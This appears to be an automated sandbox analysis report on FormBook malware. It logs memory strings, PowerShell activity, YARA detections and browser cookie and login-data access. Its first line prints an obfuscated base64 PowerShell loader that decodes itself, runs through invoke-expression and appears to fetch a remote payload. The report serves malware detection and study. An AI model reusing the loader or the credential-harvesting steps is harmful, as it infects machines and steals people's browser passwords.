blteuli0ojgrhc3lhdglkywuutgvuz3rokv07jhvuawrlywxpemvkid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkzglnaxrhbglzaw5nktsky29tbwvuzgluzya9ifttexn0zw0uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqojhvuawrlywxpemvkktskamfwb25py2fzid0gw2rubglilklplkhvbwvdlkdlde1ldghvzcgnvkfjjyk7jgphcg9uawnhcy5jbnzva2uojg51bgwsieaojzavy3vwreuvci9lzs5ldhnhcc8vonnwdhrojywgjyrjb25mawrlbnrpywxpdhknlcanjgnvbmzpzgvudglhbgl0escsiccky29uzmlkzw50awfsaxr5jywgj0nhc1bvbccsiccky29uzmlkzw50awfsaxr5jywgjyrjb25mawrlbnrpywxpdhknlccky29uzmlkzw50awfsaxr5jywnjgnvbmzpzgvudglhbgl0escsjyrjb25mawrlbnrpywxpdhknlccky29uzmlkzw50awfsaxr5jywnjgnvbmzpzgvudglhbgl0escsjzenlccky29uzmlkzw50awfsaxr5jykpow==';$uninverted = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($claustrophobe));invoke-expression $uninverted	Jump to behavior

Source: xwZkSdnVCDBnu.exe, 0000000B.00000000.2426126431.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3294075674.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2575179847.0000000001A61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: xwZkSdnVCDBnu.exe, 0000000B.00000000.2426126431.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3294075674.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2575179847.0000000001A61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: xwZkSdnVCDBnu.exe, 0000000B.00000000.2426126431.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3294075674.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2575179847.0000000001A61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: xwZkSdnVCDBnu.exe, 0000000B.00000000.2426126431.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3294075674.0000000000E21000.00000002.00000001.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2575179847.0000000001A61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 10.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
